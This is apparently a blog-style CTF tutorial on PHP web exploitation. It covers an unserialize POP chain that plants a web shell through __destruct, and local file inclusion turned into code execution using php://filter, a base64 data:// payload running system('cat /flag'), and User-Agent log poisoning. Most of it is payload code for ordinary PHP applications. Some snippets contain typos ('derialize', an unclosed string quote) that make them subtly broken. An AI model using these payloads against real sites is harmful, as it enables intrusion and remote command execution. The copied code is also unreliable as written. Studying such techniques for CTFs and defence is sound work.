CTF-code-skill-PHP

PHP is also an important language of code that you should know especially when you encounter the web exploitation challenges.

1: The POP chain : PHP unserialize

input → function → can execute anything

class Logger{  
  public $logFile = "/tmp/app.Log:;
  public $logData = "log entry";

  function __destruct(){
    file_put_contents($this->logFile, $this->logData);
    }
  }

//the entrance of the bugs;
$obj = unserialize($_GET['data']);

$evil = new Logger();
$evil ->logFile = "shell.php";
$evil ->logData = '<?php system($_GET["cmd"]); ?>';
echo derialize($evil);

//then we can write anything we want,such as: ?cmd=cat/flag

so the basic logic of this code is that:

Because there is a destruct, so we can execute this function whenever after we have done this payload and unserialize.

Get Yixuan Xie’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Once we execute the destruct, we can inject a PHP file into the website and we can get the authentication to write almost everything in the website. So we can see the flag using the “cat/flag”

2: LFI → RCE

(if the “include path” is controllable, then we can use “php://filter” to read the source code and use the “data://” to execute)

so every include() function will execute the code and can not see the source code inside,(the source code is not the html or the css, it is the backend code) but we can take use of this to see the code inside.

And at the same time, we can also use this method to inject some bugs in the code and use the log to see and execute the result.

include($_GET['page'] . ".php");

// Attack1：use php://filter to read the source code（Base64 output）
?page=php://filter/convert.base64-encode/resource=config
// → output config.php in Base64

// Attack2：use data:// directly execute PHP
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
// Base64 = <?php system('cat /flag');?>

// Attack 3：use the bugs in log 
// User-Agent set to <?php system('id');?>
?page=/var/log/apache2/access.log

PHP is really have something related to web and shell….it’s dangerous!